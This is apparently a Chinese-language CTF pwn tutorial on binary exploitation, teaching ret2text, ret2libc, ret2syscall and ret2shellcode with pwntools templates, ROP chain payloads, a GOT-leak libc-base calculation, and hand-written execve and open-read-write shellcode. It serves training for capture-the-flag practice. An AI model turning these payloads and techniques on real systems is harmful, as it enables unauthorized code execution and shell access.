1.pwn环境配置
视频讲解:https://www.bilibili.com/video/BV1YT1oYeEVd
配置指令:https://starrysky1004.github.io/2024/10/05/pwn-huan-jing-pei-zhi/
2.基础知识 & ret2text
PWN解题目标
获取远程靶机里的flag文件中的字符串(flag是动态的,每个队伍的flag不同)
获取
shell:和远程终端交互通过cat flag获取可以获取
shell的函数:**system('/bin/sh')**system('sh')system('$0')ps:读的是远程的
flag文件,本地可以用ls确认是否获得shell或创建一个flag文件读取
flag(open read write)/system('cat flag')
前置基础
示例代码
#include <stdio.h>
char hello[] = "Hello world!";
int buf[10];
int func(int a, int b){
int res;
res = a + b;
return res;
}
int main(){
int a, b, c;
a = 10;
b = 20;
c = func(a, b);
printf("Result is: %d", c);
return 0;
}
工具使用
nc
在终端直接与远程程序交互:nc ip port
IDA
参考文章:https://www.cnblogs.com/ve1kcon/p/17812418.html
| 快捷键 | 作用 |
|---|---|
| n | 重命名变量/函数 |
| y | 修改函数原型或者变量类型 |
| tab | 在反汇编窗口中,进行汇编指令与伪代码之间的切换 |
| esc | 翻页,返回前一页面 |
| space | 在反汇编窗口中,进行列表视图与图形视图之间的切换 |
| f12 | 打开字符串窗口,可用于字符串搜索 |
| / | 添加注释 |
gdb
参考文章:https://www.cnblogs.com/ve1kcon/p/17812420.html
| 指令 | 作用 |
|---|---|
| gdb filename | 进入调试可执行程序 |
| r | 开始/重新运行程序 |
| c | 运行到断点/结束 |
| q | 退出 |
| n | 单步调试 |
| s | 单步调试并跟进函数 |
| p/x | 用于计算(相当于计算器) |
| vmmap | 获取调试进程中的虚拟映射地址范围 |
| x/gx x/gi x/gs | 以数据 / 汇编 / 字符串的形式查看内存(x/20gx一次查看更多数据) |
| b *address / function_name / *$rebase(address) | 绝对地址 / 函数名 / 相对地址下断点 |
| fin | 跳出当前函数,执行到函数返回处 |
| context | 重新打印页面信息 |
| code | 查看程序基址 |
| libc | 查看libc基址 |
checksec
checksec filename 查看架构、端序、保护
elf文件格式
.init、.fini:保存了进程初始化和结束所用的代码,这两个节通常都是由编译器自动添加plt、got:动态链接的跳转和全局入口表.text:代码段.rodata:保存了只读数据,可以读取但不能修改例如示例代码中的
"Result is: %d".data:已初始化的全局变量和局部静态变量都保存在.data段例如示例代码中的
"Hello world!".bss:未初始化的全局变量和局部静态变量默认值都为0.bss段只是为未初始化的全局变量和局部静态变量预留位置没有内容,所以它在文件中也不占据空间例如示例代码中的
buf
函数调用过程
栈
指数据暂时存储的地方,所以才有入栈、出栈的说法,入栈和出栈都在栈顶(即将数据存放到数据暂存区的顶部以及从顶部取出数据),局部非静态变量存储在栈中
寄存器
64位
一个地址占8字节,可以使用pwntools的p64生成一个64位的地址
栈:rbp -> 栈底 rsp -> 栈顶
当前执行指令寄存器:rip
传参:rdi -> 一参 rsi -> 二参 rdx -> 三参
32位
一个地址占4字节,可以使用pwntools的p32生成一个32位的地址
栈:ebp:栈底 esp:栈顶
当前执行指令寄存器:eip
传参:通过栈传参
函数调用
详细过程讲解见视频
linux保护机制
ASLR:Address Space Layout Randomizationlinux地址随机化,程序运行时的堆栈以及共享库的加载地址随机化关闭
ASLR:sudo sysctl -w kernel.randomize_va_space=0RELRO:RELocation Read-OnlyFull RELRO:got表不可写Partial RELROgcc编译时关闭relro参数: -z norelro 完全关闭 -z lazy 部分开启 -z now 完全开启
stackcanary,防止栈溢出,位于rbp - 0x8gcc编译时关闭canary参数: -fno-stack-protectorNX:Non-eXecuteNX enable:堆栈不可执行,仅.text段可执行No NXgcc编译时关闭NX参数: -z execstack 允许在堆栈上执行代码 -z noexecstack 禁止在堆栈上执行代码
PIEgcc编译,code,获取地址,下断点
PIE enabled:程序地址随机化No PIEgcc编译时关闭PIE参数: -no-pie
ret2text
即返回到text段,劫持返回地址到后门(即覆盖ret为后门的地址)
原理
输入长度没有被限制导致覆盖到ret
例如:gets函数不限制输入长度
解题
- 检查保护(确认
no pie以及no canary) - 确定后门地址、变量到栈底的距离(根据
IDA中变量后的rbp-xx得到与栈底的距离为xx) - 填充中间空间(变量到栈底的距离+
rbp的长度)并覆盖ret为返回地址
交互脚本模板
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './filename' #修改成可执行文件名
debug = 0 #打远程时改成1
if debug:
r = remote('ip', port) #打远程时修改ip和端口
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r) #在需要调试的地方加上dbg()
r.interactive()
3.ret2libc
前置基础
相关概念
gadget:程序本身或者libc中存在的一些汇编指令,每一条指令有其对应的地址,将这些gadget地址部署到栈中可以执行该地址中存放的汇编指令
例如:ret2text就是执行程序本身有的system("/bin/sh");指令
ROP:一种利用现有程序中的代码片段(即gadget)来构造攻击的技术,通过构造一系列的gadget来实现攻击目标,也可以控制程序执行好几段不相邻的程序已有的代码
例如:在返回地址处按顺序填上函数func1、func2、func3的地址就会依次执行这三个函数,更多的是利用其中的汇编指令
工具指令
ROPgadget
获取gadget地址,--binary参数指定文件,可以是可执行文件或libc文件,grep用于筛选,--string用于筛选字符串
通过pop rdi可以将栈地址中的值传递给rdi寄存器,其他寄存器也同理,所以在构造ROP链时直接使用p64(pop_rdi_ret) + p64(rdi_content)即可控制rdi寄存器的值为rdi_content
$ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' #控制寄存器的值
$ROPgadget --binary ./pwn --string '/bin/sh' #查找字符串
$ROPgadget --binary ./libc-2.35.so --only 'leave|ret' | grep 'leave' #查找leave ret指令地址
$ROPgadget --binary ./pwn --ropchain #生成现成的rop利用链直接getshell,适用于静态编译的程序
$ROPgadget --binary ./pwn --only 'ret' #查找ret指令的地址
string
$strings ./libc.so.6 | grep GNU #获取libc版本
glibc-all-in-one
进入glibc-all-in-one文件夹下执行./update_list之后cat list确认是否有对应版本的libc,存在对应版本使用./download libc版本名进行下载,下载完成之后存在于libs文件夹下,需要用的时候将文件夹下的libc文件夹复制过去,下载失败可以直接复制下载地址到windows中下载再放到虚拟机里
示例
使用strings指令确定libc版本为2.38-1ubuntu6,使用file指令确定32位(也可以checksec ./pwn)
$strings ./libc.so.6 | grep GNU
GNU C Library (Ubuntu GLIBC 2.38-1ubuntu6) stable release version 2.38.
Compiled by GNU CC version 13.2.0.
$file libc.so.6
libc.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=495fc00b597566b5e14e221f563afe29ec1d8478, for GNU/Linux 3.2.0, stripped
确认list列表中存在该版本的libc
$cat list
2.23-0ubuntu11.3_amd64
2.23-0ubuntu11.3_i386
2.23-0ubuntu3_amd64
2.23-0ubuntu3_i386
2.27-3ubuntu1.5_amd64
2.27-3ubuntu1.5_i386
2.27-3ubuntu1.6_amd64
2.27-3ubuntu1.6_i386
2.27-3ubuntu1_amd64
2.27-3ubuntu1_i386
2.31-0ubuntu9.12_amd64
2.31-0ubuntu9.12_i386
2.31-0ubuntu9.7_amd64
2.31-0ubuntu9.7_i386
2.31-0ubuntu9_amd64
2.31-0ubuntu9_i386
2.35-0ubuntu3.4_amd64
2.35-0ubuntu3.4_i386
2.35-0ubuntu3_amd64
2.35-0ubuntu3_i386
2.37-0ubuntu2.1_amd64
2.37-0ubuntu2.1_i386
2.37-0ubuntu2_amd64
2.37-0ubuntu2_i386
2.38-1ubuntu6_amd64
2.38-1ubuntu6_i386
下载该版本的libc,如果下载失败可以直接复制里面的链接https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6_2.38-1ubuntu6_i386.deb在windows里下载再存到虚拟机里,下载完成后位于libs文件夹中,需要使用时直接cp -r ~/glibc-all-in-one/libs/2.38-1ubuntu6_i386 ./2.38复制文件夹使用
$./download 2.38-1ubuntu6_i386
Getting 2.38-1ubuntu6_i386
-> Location: https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6_2.38-1ubuntu6_i386.deb
-> Downloading libc binary package
-> Extracting libc binary package
x - debian-binary
x - control.tar.zst
x - data.tar.zst
/home/starrysky/glibc-all-in-one
-> Package saved to libs/2.38-1ubuntu6_i386
-> Location: https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6-dbg_2.38-1ubuntu6_i386.deb
-> Downloading libc debug package
-> Extracting libc debug package
x - debian-binary
x - control.tar.zst
x - data.tar.zst
/home/starrysky/glibc-all-in-one
-> Package saved to libs/2.38-1ubuntu6_i386/.debug
ldd
获取可执行文件的动态链接文件,包括ld和libc等
$ldd ./pwn
patchelf
更改可执行文件的动态链接文件,更改ld可以直接指定ld文件,而更改libc需要先使用ldd查看原libc作为--replace-needed选项的第一个参数,一般默认是libc.so.6
libc和ld要同时更改确保在同一版本
$patchelf --replace-needed libc.so.6 ./2.38/libc.so.6 ./pwn #更改libc
$patchelf --set-interpreter ./2.35/ld-linux-x86-64.so.2 ./pwn #更改ld
onegadget
能直接getshell的gadget,添加参数-l2可以获得更多
$one_gadget ./libc.so.6
延迟绑定
延迟绑定是一种在程序运行时才解析外部符号(如函数和变量)地址的技术,它允许程序在启动时不必立即加载所有动态链接库中的符号,从而提高程序的启动速度
c语言内置的函数(例如printf)都是依赖于libc中的外部函数
动态链接与静态链接
动态链接是指在程序运行时才将程序与所需的动态链接库中的库函数链接起来的过程,动态链接的程序在启动时会加载所需的动态库(例如libc),并在运行时解析外部符号的地址
静态链接在编译时将所有需要的库函数直接复制到可执行文件中,生成的可执行文件不依赖于外部的库文件,可以独立运行,但是会导致可执行文件体积增大
plt与got
PLT(Procedure Linkage Table) 是一个代码段,包含了用于动态链接的跳转指令。每个需要动态链接的外部函数都会在PLT中有一个条目,当程序第一次调用这个函数时,PLT中的代码会被执行,这个代码会去查找并解析外部函数的实际地址,并将其存储在GOT中,以便后续调用时直接跳转到正确的地址
GOT(Global Offset Table) 是一个数据段,存储了所有外部符号的地址。在程序启动时,GOT中的条目可能并不包含最终的地址,而是包含指向PLT中相应条目的指针。当PLT条目第一次被执行时,会将查找到的外部符号地址更新到GOT中,这样后续的调用就可以直接通过GOT找到正确的地址
延迟绑定过程
- 程序启动:程序启动时,动态链接器加载程序和所有依赖的动态库
- 符号解析:当程序第一次调用一个外部函数时,
PLT中的代码会被执行,查找并解析外部函数的实际地址 - 地址存储:查找到的地址被存储在
GOT中,以便后续调用 - 直接调用:后续对同一外部函数的调用将直接通过
GOT进行,无需再次解析
总结
- 执行函数的
plt会通过跳转got直接调用到该函数 got表可写的情况下覆盖函数的got表为其他函数地址可以实现调用该函数时执行到其他函数
ret2libc
目标是执行system("/bin/sh");,即执行system函数其一参为"/bin/sh"
有system和/bin/sh
延迟绑定部分提到,执行函数的plt可以直接调用到该函数,那么构造rop链就是要先控制一参rdi为"/bin/sh"的地址再填system的plt
控制一参
使用
ROPgadget找到pop rdi的地址$ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'ps:
gadget中含有pop rdi就行,但是有pop其他寄存器就需要在后面加上对应的值,例如0x000ac112 : pop rdi ; pop rbx ; ret,pop rdi之后还pop rbx,所以后面需要加两个地址,即p64(0x000ac112) + p64(rdi_content) + p64(rbx_content),后面就可以继续加其他gadget找
"/bin/sh"地址"/bin/sh"地址需要在IDA中查找,直接按f12找到对应地址找
system函数地址pwntools中可以直接获取plt和got的地址:elf.plt['system']elf.got['system']
最终构造出
#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret =
bin_sh = IDA中/bin/sh地址
system_plt = elf.plt['system']
p = b'a' * ? + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
r.sendline(p)
有system无/bin/sh
缺少/bin/sh可以直接往程序中的一个地址写入/bin/sh,假设地址是buf,那么就要先构造gets(buf),读取/bin/sh之后再执行system('/bin/sh'),其中system的一参就说buf,即/bin/sh的地址
- 获取
gets的plt地址:elf.plt['gets'] - 设置
buf的地址,从IDA中选取,可以从bss段中选取地址 - 获取
system的plt地址:elf.plt['system'] - 设置一参:
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'
最终构造:注意发送/bin/sh最后加上\x00截断字符串,在执行rop链的过程中会执行gets(buf)从输入流输入buf的值,此时输入/bin/sh\x00即可向buf输入字符串
#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret =
buf =
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
p = b'a' * ?
p += p64(pop_rdi_ret) + p64(buf) + p64(gets_plt) #gets(buf)
p += p64(pop_rdi_ret) + p64(buf) + p64(system_plt) #system(buf)
r.sendline(p)
r.sendline('/bin/sh\x00')
无system无/bin/sh
可执行文件中没有system,但是作为动态链接库的libc中有,所以直接执行libc中的system即可,所以思路就是先获取libc的基址,再计算libc中system和/bin/sh的地址,最后执行system('/bin/sh')
got部分提到got表存放了外部符号地址,即libc中的地址,所以如果能够泄露got表中的地址就能获取libc中某个函数的真实地址,再减去这个函数在libc中的偏移就能得到libc的基址,最后加上system函数的偏移就能得到system函数的地址
泄露
got表中函数的地址需要用一个输出函数输出一个
got表的地址,一般构造puts(puts_got),最后还要再回到该函数继续利用栈溢出,即p64(pop_rdi_ret) + p64(puts_got) + p64(puts) + p64(main)接收该地址:基本就是一个固定用法
u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))获取
libc基址标志:64位以
7f开头,基址末尾三位是0已知
puts函数的真实地址和puts函数的偏移,libc的基址就等于真实地址减偏移获取
puts函数在libc中的偏移可以通过libc = ELF('libc文件'),然后libc.sym['puts']得到puts偏移在打本地的时候如果修改了
libc版本需要对应修改ELF里的文件路径,也可以直接在本地打通之后修改文件路径为远程的libc文件后直接打远程获取
system和/bin/sh地址:从libc获取地址需要加上基址system = libc.sym['system'] + libc_basebin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
最终构造:
#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret =
main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
p = b'a' * ? + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
r.sendline(p)
libc = ELF('libc文件路径')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
p = b'a' * ? + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendline(p)
堆栈平衡
某些指令,如movaps(用于操作XMM寄存器),要求栈指针RSP必须是16字节对齐的,直接从返回地址开始写rop链可能会造成堆栈不平衡,需要在rop链前加上汇编指令ret平衡堆栈
$ROPgadget --binary ./pwn --only 'ret' #查找ret指令的地址
32位程序
32位和64位的区别就是32位通过栈传参而不通过寄存器传参,所以不像64位需要找pop rdi的值,32位构造rop链的方式是函数+返回地址+参数列表,例如
p = b'a' * ?
p += p64(pop_rdi_ret) + p64(buf) + p64(gets) #gets(buf)
p += p64(pop_rdi_ret) + p64(buf) + p64(system) #system(buf)
对应32位的程序
p = b'a' * (0x64 + 0xc) + p32(gets_plt) + p32(system_plt) + p32(bss) * 2
例题
https://starrysky1004.github.io/ret2libc.zip
补充
在题目没有给libc的情况下可以通过泄露多个已知函数名的地址,在https://libc.rip/中查询
4.ret2syscall&ret2shellcode&零碎知识点
ret2syscall
前置基础
操作系统的进程空间分为用户空间和内核空间,内核空间需要更高的权限,系统调用就是运行在用户空间的程序向操作系统内核请求需要更高权限运行的内核函数
当用户态进程发起一个系统调用,CPU切换到内核态并开始执行一个内核函数。由于系统调用处理函数只有一个,所以需要通过rax传递系统调用号确定调用的函数
利用
应用程序在用户态准备好调用参数(包括系统调用号和函数参数),在64位程序中执行syscall或在32位程序中执行int 80触发软中断,CPU被软中断打断后执行对应中断处理函数,最后执行ret指令切换回用户态
常用系统调用号:
32位 read 3 open 5 write 4 sigreturn 77/0x4D execve 11/0xb
64位 read 0 open 2 write 1 sigreturn 15/0xF execve 59/0x3b
execve用法:execve("/bin/sh",NULL,NULL)
p = p64(pop_rax_ret) + p64(a) + p64(pop_rdi_ret) + p64(b) + p64(pop_rsi_ret) + p64(c) + p64(syscall)
对比ret2libc
p = p64(pop_rdi_ret) + p64(b) + p64(pop_rsi_ret) + p64(c) + p64(xxx_plt)
全部系统调用号参考:https://syscalls.mebeim.net/?table=x86/64/x64/latest
ret2shellcode
前置基础
控制程序执行shellcode代码,shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell,或者open read write获取并输出flag,通常情况下shellcode需要我们自行编写,即向内存中填充一些可执行的代码
前提条件:shellcode所在的区域具有可执行权限
工具
查看禁用的函数seccomp-tools dump ./pwn
exp中pwntools使用:
使用
asm()将汇编代码转换为对应的机器码生成
shellshellcode = shellcraft.sh()生成
orwshellcode = shellcraft.open('./flag') shellcode += shellcraft.read(3, 0x123000 + 0x100, 0x30) #'rsp' shellcode += shellcraft.write(1, 0x123000 + 0x100,0x30)自己写
shellcode执行
execve('/bin/sh', 0, 0)shellcode = ''' xor rdx,rdx push rdx mov rsi,rsp mov rax,0x68732f2f6e69622f push rax mov rdi,rsp mov rax,59 syscall '''执行
open read writeshellcode = """ push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall """
在线汇编和反汇编:http://shell-storm.org/online/Online-Assembler-and-Disassembler/
常见情况
- 没有开启
NX保护,可以泄露栈地址向栈中写入shellcode再将返回地址改到该地址 - 程序使用
mprotect函数给某一段可读可写可执行权限,并且让用户向这一段的变量中输入,再直接将输入的变量作为函数调用
零碎知识点
整数溢出:变量定义为整型但输入后(unsigned int)强制转化为无符号整型,输入-1则变成正无穷
字符溢出:char类型范围是-128~+127,因此输入超过128会变成负数
数组越界:index可控的时候越界写到其他变量
str类函数:例如strcpy、strcat、strcmp、strlen等函数会被\x00截断
scanf:输入+或-不会有实际输入
随机数绕过:利用c和python联合编程,例如:
from ctypes import *
libc = cdll.LoadLibrary('./2.35/libc.so.6')
seed = 0
libc.srand(seed)
for i in range(21):
v6 = (libc.rand() ^ 0x24) + 1
r.sendlineafter('input: ', str(v6))